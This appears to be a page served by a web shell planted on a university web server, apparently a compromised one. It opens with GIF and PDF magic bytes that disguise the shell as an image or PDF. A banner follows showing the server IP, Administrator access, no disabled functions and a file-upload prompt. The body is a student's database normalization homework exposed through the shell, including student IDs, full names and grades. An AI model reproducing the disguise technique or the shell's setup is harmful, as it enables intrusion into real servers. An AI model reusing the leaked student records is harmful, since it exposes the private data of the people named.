GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/uploads/20253/CST1600/41/16750839/Lab09/ |
Upload File : |
UNF: studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP) lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9) possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total) 1NF: Notes: I started off by splitting up the student and grades. I turned studentgrades into studentstandings and only included StudentId, StudentName, SP, Total, Final, and IP as descriptions. Then I took the labs and grades that were appointed to it and made it into a separate labgrades table. This reduces redundancy and helps simplify the tables. Then I simplified lettergrade by making a LetterGrade category and a Percentage category. This makes it so each lab isn't listed as its own category. Then I simplified possiblepoints by putting all the labs as well as SP and Total under an Assignment category and then made points a separate category. I also made a composite key from StudentId and labNumber to serve as the primary key for labgrades. studentstandings( StudentId*, StudentName, SP, Total, Final, IP) labgrades(StudentId*@, labNumber*, LabGrade) lettergrade(LetterGrade*, Percentage) possiblepoints (Assignment*, points) 2NF: Notes:There was partial dependency issues in the studentstandings table. To solve this I pulled StudentId and StudentName and made a separate student table. Then studentStanding only relys on StudentId as a primary key. Otherwise the other tables all fit 2NF standards. student(StudentId*, StudentName) studentstandings(StudentId*@, SP, Total, Final, IP) labgrades(StudentId*@, labNumber*, LabGrade) lettergrade(LetterGrade*, Percentage) possiblepoints(Assignment*, points) 3NF: Notes: There are no transitive dependencies. This works for 3NF as well student(StudentId*, StudentName) studentstandings(StudentId*@, SP, Total, Final, IP) labgrades(StudentId*@, labNumber*, LabGrade) lettergrade(LetterGrade*, Percentage) possiblepoints(Assignment*, points) Three data rows: student(StudentId*, StudentName) 84228748, Lael Abbott 44107438, Bruce Acosta 21479092, Coby Fox studentstandings(StudentId*@, SP, Total, Final, IP) 84228748, 4, 41, F, F 44107438, 5, 95, B-, A 21479092, 5, 65, F, A labgrades(StudentId*@, labNumber*, LabGrade) 84228748, Lab01, 10 84228748, Lab02, 5 84228748, Lab03, 9 84228748, Lab04, ns 84228748, Lab05, 3 84228748, Lab06, 10 84228748, Lab07, ns 84228748, Lab08, ns 84228748, Lab09, ns 44107438, Lab01, 10 lettergrade(LetterGrade*, Percentage) A, 93 A-, 90 B+, 87 possiblepoints(Assignment*, points) SP, 5 Lab01, 10 Lab02, 5